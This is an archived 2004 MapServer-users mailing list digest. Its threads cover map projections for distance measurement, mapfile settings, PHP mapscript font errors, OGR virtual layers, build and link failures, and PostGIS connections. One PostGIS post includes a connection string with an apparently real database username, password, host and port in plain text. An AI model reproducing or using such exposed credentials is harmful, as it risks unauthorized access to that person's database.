Sent: Friday, March 05, 2004 9:59 AM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

Thank you very much for your help so far.
 
Up to this point we have been making all of calculations for our maps in lat/long degrees. So, for instance, our map extent is given in lat/long degrees. This acts as a window into our source geographic pjoection layers. Based on what you have said, we now want our output to be projected to UTM. Do we now need to convert all of our lat/long degrees to meters for this to work (what is a good way to do this, if so)? An example would be our map extent - does this now need to be in meters? Is there no way to specify everything in lat/long degrees for accessing our source data and then have the end result projected to UTM? Our map file (simplified) is at the end of this email.
 
NAME MAPREQUEST
SYMBOLSET "maprequest.sym"
EXTENT -178.226733 18.914590 -66.953248 71.381356 # Set dynamically (Does this now need to be in meters?)
SIZE  586 586
UNITS DD # What should this be?
TRANSPARENT OFF
FONTSET "maprequest.fon"
IMAGECOLOR  204 255 255
IMAGETYPE PNG
SHAPEPATH /layers/

PROJECTION
        "init=epsg:26915"
END
LAYER
        NAME "Boundary"
        DATA "cty90"
        STATUS ON
        TYPE POLYGON
        TEMPLATE "foo"
        CLASS
                COLOR 255 255 204
                OUTLINECOLOR  255 255 204
        END
        PROJECTION
                "proj=latlong"
        END
END

Thanks again!
 

Ed McNierney <ed at topozone.com> wrote:
Yes, that helps a lot.  First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens <g>.  Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes.  If you're going to measure distances you need appropriately projected maps.
 
You might do best with the UTM projection family.  It is simple, common, and easy to use.  It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible.  There are other more accurate projections (equidistant conic, for example) that require more work on your part.
 
You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point.  If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges.  But if you make maps of less than a few hundred miles in extent no one will notice.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 3:29 PM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.
 
So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right?
 
Thanks and let me know if you need more detail to provide suggestions.


Ed McNierney <ed at topozone.com> wrote:
I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line.
 
As I said, if you can provide more detail we can offer more advice.  For example, if all your distances are at a "small scale", that's more detail (you didn't say that before).  That helps define the problem better and helps us suggest solutions.  Please describe the problem you're trying to solve and we'll help!
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed McNierney
Cc: mapserver-users at lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1
 
Thanks again.

Ed McNierney <ed at topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed at topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington at yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-1594918802-1078500752=:64665-- From mapserver at no-log.org Fri Mar 5 07:41:19 2004 From: mapserver at no-log.org (mapserver at no-log.org) Date: Fri, 5 Mar 2004 16:41:19 +0100 (CET) Subject: [Mapserver-users] php_mapscript / SWF / TTF problem Message-ID: <25974.81.50.116.216.1078501279.squirrel@mail3.no-log.org> Hi, I'm experiencing a strange thing. I get an 'Internal server error' when i try to render a layer with ttf label. There is no problem using the same mapfile and shp2img, all layers are well rendered including fonts. Same error with php_mapscript using bitmap font. I'm using mapserver 4.1 from cvs, freetype 2 and latest ming 0.3a . (same thing with ming 0.2a) . Php compiled with --without-ttf option. Apache error log says: Premature end of script headers: /var/www/sfd/cgi-bin/php MapServer version 4.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Thanks :) mastre From nikolai.schwertner at tufts.edu Fri Mar 5 08:03:39 2004 From: nikolai.schwertner at tufts.edu (Nikolai Schwertner) Date: Fri, 5 Mar 2004 11:03:39 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question References: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> <4047C02A.3010709@magma.ca> Message-ID: <007a01c402cb$6cb367d0$1e4d4082@tufts.ad.tufts.edu> Thank you, Paul and Frank! I updated MapServer to 4.1. The virtual layer works like a charm! Cheers, Nikolai ----- Original Message ----- From: "Paul Spencer" To: "Nikolai Schwertner" Cc: Sent: Thursday, March 04, 2004 6:47 PM Subject: Re: [Mapserver-users] Virtual Spatial Data Wiki Question > if it works with ogrinfo and not with mapserver/mapscript then you need > a more recent version of mapserver binaries. It is not sufficient to > replace gdalxx.dll, you must have a mapserver that was compiled against > the newer gdal source code. You can find the latest 4.1 compiled for > windows as of today here: > > http://www.maptools.org/dl/mapserver-4.1-dev-win32-php4.3.4.zip > > Cheers, > > Paul > > Nikolai Schwertner wrote: > > > Hi all, > > > > I am following the instructions from the wiki on "Virtual Spatial Data" to > > create a virtual layer from an ODBC data source (under Windows 2000). The > > OVF file works great with ogrinfo.exe, but fails with the following message > > when I try to load it in MapServer: > > > > msDrawMap(): Image handling error. Failed to draw layer named 'sb_pt'. > > msOGRFileOpen(): OGR error. Open failed for OGR connection > > `w:\app\virtual.ovf'. File not found or unsupported format. > > > > Past posts suggest that this problem may be related to the permissions of > > the Apache user over the OVF file. I don't think that this is the problem in > > this case. All permissions are in order and Apache has no problem accessing > > the file. > > > > I will appreciate any suggestions regarding this problem. > > > > Sincerely, > > Nikolai > > > > -- > > Nikolai Schwertner > > TCCS/Academic Technology > > Tufts University > > Medford, MA 02155 > > > > Phone: 617.627.2821 > > Fax: 617.627.3667 > > Email: nikolai.schwertner at tufts.edu > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > -- > ----------------------------------------------------------------- > |Paul Spencer spencer at dmsolutions.ca | > |-----------------------------------------------------------------| > |Applications & Software Development | > |DM Solutions Group Inc http://www.dmsolutions.ca/| > ----------------------------------------------------------------- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Darren.Cope at statcan.ca Fri Mar 5 08:11:12 2004 From: Darren.Cope at statcan.ca (Darren.Cope at statcan.ca) Date: Fri, 5 Mar 2004 11:11:12 -0500 Subject: [Mapserver-users] Indexing of Shapefiles Message-ID: Thanks Steve Woodbridge (and Stephen Clark as well) for your prompt answer(s)! Darren -----Original Message----- From: woodbri at swoodbridge.com [mailto:woodbri at swoodbridge.com] Sent: March 5, 2004 10:20 AM To: mapserver-users at lists.gis.umn.edu; Darren.Cope at statcan.ca Subject: Re: [Mapserver-users] Indexing of Shapefiles Darren, You should build spatial indexes for all your shapefiles. this speeds up query and display. find data_dir -name "*.shp" -exec shptree {} \; should improve things. It assumes you are on Linux/Unix and the you have shptree in the path. shptree creates the mapserver spatial index *.qix and can be found in your mapserver build directory. -Steve W. On 5 Mar 2004 at 9:38, Darren.Cope at statcan.ca wrote: > Hi all, > > I have several very large shapefiles that I wish to display. > Everything works fine, except that rending and querying take a _long_ > time. Does MapServer work with attribute indexes on shapefiles to > speed up queries? Spatial indexes to speed up queries? I have read > about the TILEINDEX but am not sure how this applies to a single large > shapefile. > > Any help would be appreciated! > > Thanks, > > Darren Cope > Statistics Canada/Statistique Canada > Geography Division/Division de la g?ographie > Jean Talon 3D5 > Ottawa, Canada > (613) 951-6461 > > From dmorissette at dmsolutions.ca Fri Mar 5 08:33:38 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 05 Mar 2004 11:33:38 -0500 Subject: [Mapserver-users] php_mapscript / SWF / TTF problem In-Reply-To: <25974.81.50.116.216.1078501279.squirrel@mail3.no-log.org> References: <25974.81.50.116.216.1078501279.squirrel@mail3.no-log.org> Message-ID: <4048ABE2.2060609@dmsolutions.ca> mapserver at no-log.org wrote: > > I'm experiencing a strange thing. I get an 'Internal server error' when i > try to render a layer with ttf label. There is no problem using the same > mapfile and shp2img, all layers are well rendered including fonts. > Same error with php_mapscript using bitmap font. > I'm using mapserver 4.1 from cvs, freetype 2 and latest ming 0.3a . (same > thing with ming 0.2a) . > > Php compiled with --without-ttf option. > > Apache error log says: Premature end of script headers: > /var/www/sfd/cgi-bin/php > It's quite likely due to differences between PHP's builtin GD and the copy of GD used by php_mapscript. You'll have to disable the PHP GD module or to get PHP to use the same GD as php_mapscript (i.e. probably the system GD). -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Fri Mar 5 08:54:44 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 05 Mar 2004 11:54:44 -0500 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <404835D4.9000109@schnegg.net> References: <404705B0.4010506@schnegg.net> <4047580E.1040400@dmsolutions.ca> <404835D4.9000109@schnegg.net> Message-ID: <4048B0D4.4040104@dmsolutions.ca> OOpps... my mistake: MAXSIZE was added only in V4.1 (CVS). I had created a bug which is still open until the 4.1 docs are updated: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=588 Daniel Frank Rittinger wrote: > Hello Daniel, > > as Steve pointed out, this is not documented, and when I tried it out > mapserver complained about a corrupt mapfile: > > msLoadMap(): Unknown identifier. Parsing error near (MAXSIZE):(line 20) >
> > Although, I found in mapfile.c, that the MAXSIZE is printed in saveMap. > > Daniel Morissette wrote: > >> >> Since version 4.0 (not sure about 3.6), you should be able to set >> MAXSIZE 2200 at the top-level in your mapfile to override the default. >> >> Daniel > > > Bye, Frank > > From pierre.giraud3 at free.fr Fri Mar 5 09:17:30 2004 From: pierre.giraud3 at free.fr (pierre.giraud3 at free.fr) Date: Fri, 5 Mar 2004 18:17:30 +0100 Subject: [Mapserver-users] php_mapscript / SWF / TTF problem In-Reply-To: <25974.81.50.116.216.1078501279.squirrel@mail3.no-log.org> References: <25974.81.50.116.216.1078501279.squirrel@mail3.no-log.org> Message-ID: <1078507050.4048b62a8a70d@imp1-q.free.fr> Just have a look at : http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html You have to use fbd fonts files. Ming "does not yet support True type fonts". Pierre GIRAUD Selon mapserver at no-log.org: > Hi, > > I'm experiencing a strange thing. I get an 'Internal server error' when i > try to render a layer with ttf label. There is no problem using the same > mapfile and shp2img, all layers are well rendered including fonts. > Same error with php_mapscript using bitmap font. > I'm using mapserver 4.1 from cvs, freetype 2 and latest ming 0.3a . (same > thing with ming 0.2a) . > > Php compiled with --without-ttf option. > > Apache error log says: Premature end of script headers: > /var/www/sfd/cgi-bin/php > > MapServer version 4.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=SWF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS > INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > Thanks :) > > mastre > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jnielsen at aero-graphics.com Fri Mar 5 09:21:15 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Fri, 5 Mar 2004 10:21:15 -0700 Subject: [Mapserver-users] Projection problem In-Reply-To: <200403050951375.SM00852@PLANGIS> References: <200403050951375.SM00852@PLANGIS> Message-ID: <1078507275.4048b70be90d6@www.agi-lan.com> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of snow 77 > Sent: Thursday, March 04, 2004 3:05 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Projection problem > > Hi, > I am new to the MapServer and i have a typical newbie question. > I try to get am map on the web with only one shapefile as a layer. The > shapefile is from the given extent and i think i define the right > projection > parameters. But the output map is quite distorted. Where ist the mistake? > Here my mapfile: > MAP > NAME "test" > STATUS ON > EXTENT 13.563817 46.2695106622074 16.166907714098 48.1749556 > #EXTENT 389334.69 5124995.01 586750.69 5336404.45 > SIZE 530 350 > SHAPEPATH "../../../Inetpub/wwwroot/imdas/data" > FONTSET "../../../Inetpub/wwwroot/imdas/fonts/fonts.list" > IMAGECOLOR 255 255 255 > UNITS DD > RESOLUTION 72 > > PROJECTION > "proj=utm" > "zone=1" > "ellps=WGS84" > "datum=WGS84" > "units=m" > "no_defs " > "north" > "init=epsg:32601" > END Looks like based on the projection you have listed (32601) your .map file UNITS setting should be METERS. DD I think would only be used with for instance epsg:4326. ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From jvanulde at nrcan.gc.ca Fri Mar 5 10:36:53 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Fri, 5 Mar 2004 13:36:53 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B89655@s5-van1-r1.ess.nrcan.gc.ca> Nikolai, you can also put the code right in the mapfile like this: LAYER NAME OGRPoints TYPE POINT CONNECTIONTYPE OGR CONNECTION ' ODBC:user_name/password at system_dsn,table_name Desc_story wkbPoint WGS84 ' DUMP TRUE # for WFS only DATA "story" STATUS default CLASS SYMBOL 'circle' SIZE 25 COLOR 255 0 0 END END Regards, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ > -----Original Message----- > From: Nikolai Schwertner [mailto:nikolai.schwertner at tufts.edu] > Sent: Friday, March 05, 2004 8:04 AM > To: spencer at dmsolutions.ca; warmerdam at pobox.com > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Virtual Spatial Data Wiki Question > > > Thank you, Paul and Frank! > > I updated MapServer to 4.1. The virtual layer works like a charm! > > Cheers, > Nikolai > > ----- Original Message ----- > From: "Paul Spencer" > To: "Nikolai Schwertner" > Cc: > Sent: Thursday, March 04, 2004 6:47 PM > Subject: Re: [Mapserver-users] Virtual Spatial Data Wiki Question > > > > if it works with ogrinfo and not with mapserver/mapscript then you > > need a more recent version of mapserver binaries. It is not > > sufficient to replace gdalxx.dll, you must have a mapserver > that was > > compiled against the newer gdal source code. You can find > the latest > > 4.1 compiled for windows as of today here: > > > > http://www.maptools.org/dl/mapserver-4.1-dev-win32-php4.3.4.zip > > > > Cheers, > > > > Paul > > > > Nikolai Schwertner wrote: > > > > > Hi all, > > > > > > I am following the instructions from the wiki on "Virtual Spatial > > > Data" > to > > > create a virtual layer from an ODBC data source (under Windows > > > 2000). > The > > > OVF file works great with ogrinfo.exe, but fails with the > following > message > > > when I try to load it in MapServer: > > > > > > msDrawMap(): Image handling error. Failed to draw layer > named 'sb_pt'. > > > msOGRFileOpen(): OGR error. Open failed for OGR connection > > > `w:\app\virtual.ovf'. File not found or unsupported format. > > > > > > Past posts suggest that this problem may be related to the > > > permissions > of > > > the Apache user over the OVF file. I don't think that this is the > problem in > > > this case. All permissions are in order and Apache has no problem > accessing > > > the file. > > > > > > I will appreciate any suggestions regarding this problem. > > > > > > Sincerely, > > > Nikolai > > > > > > -- > > > Nikolai Schwertner > > > TCCS/Academic Technology > > > Tufts University > > > Medford, MA 02155 > > > > > > Phone: 617.627.2821 > > > Fax: 617.627.3667 > > > Email: nikolai.schwertner at tufts.edu > > > > > > _______________________________________________ > > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > -- > > ----------------------------------------------------------------- > > |Paul Spencer spencer at dmsolutions.ca | > > |-----------------------------------------------------------------| > > |Applications & Software Development | > > |DM Solutions Group Inc http://www.dmsolutions.ca/| > > ----------------------------------------------------------------- > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From rjames57 at yahoo.com Fri Mar 5 11:30:12 2004 From: rjames57 at yahoo.com (Randy James) Date: Fri, 5 Mar 2004 11:30:12 -0800 (PST) Subject: [Mapserver-users] nightly compile error Message-ID: <20040305193012.56054.qmail@web12505.mail.yahoo.com> Hi I am trying to compile the nightly downloaded on march 5 2004 and am getting the following error. Does anyone reconize the error, or should i give more information? gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL -DUSE_POSTGIS -I/usr/src/gd-2.0.15 -I/usr/src/proj-4.4.5/src -I/usr/local/include -I/usr/local/pgsql/include shp2img.o -L. -lmap -ljpeg -lfreetype -lpng -lz -ljpeg -lfreetype -lpng -lz -L/usr/src/proj-4.4.5/src/.libs -lproj -ljpeg -L/usr/local/lib -lgdal.1.1 -L/usr/local/pgsql/lib -lpq -lm /usr/src/gd-2.0.15/.libs/libgd.a -o shp2img ./libmap.a(mapdrawgdal.o): In function `msDrawRasterLayerGDAL_RawMode': mapdrawgdal.o(.text+0x2afc): undefined reference to `GDALDatasetRasterIO' collect2: ld returned 1 exit status make: *** [shp2img] Error 1 Randy __________________________________ Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster http://search.yahoo.com From warmerdam at pobox.com Fri Mar 5 11:51:29 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 05 Mar 2004 14:51:29 -0500 Subject: [Mapserver-users] nightly compile error In-Reply-To: <20040305193012.56054.qmail@web12505.mail.yahoo.com> References: <20040305193012.56054.qmail@web12505.mail.yahoo.com> Message-ID: <4048DA41.6030107@pobox.com> Randy James wrote: > Hi > > I am trying to compile the nightly downloaded on march 5 > 2004 and am getting the following error. Does anyone > reconize the error, or should i give more information? > > gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_GD_PNG > -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL > -DUSE_POSTGIS -I/usr/src/gd-2.0.15 > -I/usr/src/proj-4.4.5/src -I/usr/local/include > -I/usr/local/pgsql/include shp2img.o -L. -lmap -ljpeg > -lfreetype -lpng -lz -ljpeg -lfreetype -lpng -lz > -L/usr/src/proj-4.4.5/src/.libs -lproj -ljpeg > -L/usr/local/lib -lgdal.1.1 -L/usr/local/pgsql/lib -lpq > -lm /usr/src/gd-2.0.15/.libs/libgd.a -o shp2img > ./libmap.a(mapdrawgdal.o): In function > `msDrawRasterLayerGDAL_RawMode': > mapdrawgdal.o(.text+0x2afc): undefined reference to > `GDALDatasetRasterIO' > collect2: ld returned 1 exit status > make: *** [shp2img] Error 1 Randy, My error. GDALDatasetRasterIO() is a GDAL 1.2.0 feature - not available in 1.1.9. I will correct the code to work for GDAL 1.1.9. In the meantime you can update to GDAL 1.2.0 or comment out the call if you are in a hurry. The call won't occur in normal MapServer use. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From wolski at basin.humboldt.edu Fri Mar 5 13:58:54 2004 From: wolski at basin.humboldt.edu (Don Wolski) Date: Fri, 5 Mar 2004 13:58:54 -0800 (PST) Subject: [Mapserver-users] Building MapScript under Solaris Message-ID: <200403052158.i25Lwsu22593@basin.humboldt.edu> Hi. I'm trying to build and install Mapserver w/ MapScript. The main Mapserver build seems to go OK, and MapScript seems to compile OK (but with some warnings like php_mapscript_util.c: In function `_phpms_fetch_handle2': php_mapscript_util.c:147: warning: dereferencing type-punned pointer will break strict-aliasing rules and php_mapscript.c: In function `php3_ms_shapefile_getshape': php_mapscript.c:10463: warning: int format, long int arg (arg 3) ), but when it tries to build the shared library, it seems (to me) to be unable to resolve a bunch (13,000) symbols, including ones that should be in the std libs. I've forced the c++ command to look every lib directory I could think of, but the results are the same. The symptom of my problem is that I get the message ld: fatal: relocations remain against allocatable but non-writable sections when the package's Makefile uses c++ to build a shared library after compiling the .o's, details below. Should I be specifying /usr/lib before /opt/sfw/gcc-3/lib? Should I be using gcc 2.95.3? Do I need to install a libc in addition to /usr/lib/libc*? Am I completly off-base about what the error msg means? The system I am using is complete Solaris 9 (12/03 update, w/ recommended patches as of Feb 9) plus the Companion Disk (a bunch of GNU and other F/OSS which get installed in /usr/sfw and /opt/sfw, and which Sun compiles with its proprietary compilers). I do not have the Sun proprietary compilers, and am using gcc 3.3 instead. /usr/local is a symlink to /opt/local. Thanks for taking the time to look at this. /don The builds of php_mapscript_util.o, php_mapscript.o, and mapscript_i.o seem to go OK. The building of php_mapscript.so is where it fails: c++ -shared -R/usr/local/lib:/usr/local/pgsql/lib -L/usr/local/lib -L/opt/sfw/gcc-3/lib -L/lib -L/usr/lib -L/usr/ccs/lib -L/usr/xpg4/lib -L/usr/dt/lib -L/usr/openwin/lib -L/usr/X/lib -L/usr/local/pgsql/lib -o php_mapscript.so php_mapscript_util.o php_mapscript.o mapscript_i.o -L/opt/local/src/mapserver-4.0.1 -lmap -L/usr/local/pgsql/lib -lpq -L/usr/local/lib -lproj -L/lib -lz -L/lib -lXpm -lX11 -L/usr/local/lib -lgd -L/lib -lz -L/lib -lXpm -lX11 -lm -lstdc++ Text relocation remains referenced against symbol offset in file 0x49c /opt/local/src/mapserver-4.0.1/libmap.a(maptemplate.o) 0x4a0 /opt/local/src/mapserver-4.0.1/libmap.a(maptemplate.o) 0x4a4 /opt/local/src/mapserver-4.0.1/libmap.a(maptemplate.o) 0x4a8 /opt/local/src/mapserver-4.0.1/libmap.a(maptemplate.o) 0x4ac /opt/local/src/mapserver-4.0.1/libmap.a(maptemplate.o) 0x4b0 /opt/local/src/mapserver-4.0.1/libmap.a(maptemplate.o) 0x4b4 /opt/local/src/mapserver-4.0.1/libmap.a(maptemplate.o) . . . Skipping nearly 13,000 such lines . . . cos 0x9bb0 /opt/local/src/mapserver-4.0.1/libmap.a(mapgd.o) cos 0x1828 /opt/local/src/mapserver-4.0.1/libmap.a(mapimagemap.o) asin 0x180c /opt/local/src/mapserver-4.0.1/libmap.a(maplabel.o) asin 0x180c /opt/local/src/mapserver-4.0.1/libmap.a(mapprimitive.o) asin 0x1a10 /opt/local/src/mapserver-4.0.1/libmap.a(mapprimitive.o) asin 0x2684 /opt/local/src/mapserver-4.0.1/libmap.a(mapprimitive.o) ceil 0x4e4 /opt/local/src/mapserver-4.0.1/libmap.a(maperror.o) ceil 0x10dc /opt/local/src/mapserver-4.0.1/libmap.a(mapgraticule.o) ceil 0x111c /opt/local/src/mapserver-4.0.1/libmap.a(mapgraticule.o) atan 0x7a4 /opt/local/src/mapserver-4.0.1/libmap.a(mapgd.o) log10 0x1110 /opt/local/src/mapserver-4.0.1/libmap.a(mapgraticule.o) ld: fatal: relocations remain against allocatable but non-writable sections collect2: ld returned 1 exit status Don Wolski mailstop ENRS, Natural Resources 211c Unix System Administrator Information Technology Unit dcw2 at humboldt.edu College of NR and Sciences 707-826-3536 (voice) Humboldt State University 707-826-3501 (fax) Arcata, CA 95521-8299 From wawong at ucsd.edu Fri Mar 5 14:19:13 2004 From: wawong at ucsd.edu (Wai-ho Wong) Date: Fri, 5 Mar 2004 14:19:13 -0800 (PST) Subject: [Mapserver-users] POSTGIS problem Message-ID: To whom it might be concerned, I am the postGIS user in UC San Diego. I have the postGIS working fine and the mapserver can take the input of shapefile. Both of them are the most updated versions. But when I try to map using postGIS, I have the unkown internal error or blank picture output. The following is the map file. MAP IMAGETYPE PNG SIZE 600 600 EXTENT 2951122.40634836 9972524.19586431 3272632.96527259 10243868.741275 # Geographic coordinates IMAGECOLOR 255 255 255 LAYER CONNECTIONTYPE postgis NAME "railroad" CONNECTION "user=willy password=goodwill dbname=mydb host=geon01.sdsc.edu port=7531" DATA "the_geom FROM railroad" STATUS DEFAULT TYPE POLYGON CLASS STYLE COLOR 0 0 0 END END END END ~ Thank you for your help. Willy ~ From gayathri at ou.edu Fri Mar 5 15:07:33 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Fri, 5 Mar 2004 17:07:33 -0600 Subject: [Mapserver-users] POSTGIS problem Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C05C7067@XMAIL1.sooner.net.ou.edu> Hi: Why are you using port 7531 instead of the default 5432? Is there a specific intented reason? Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Wai-ho Wong > Sent: 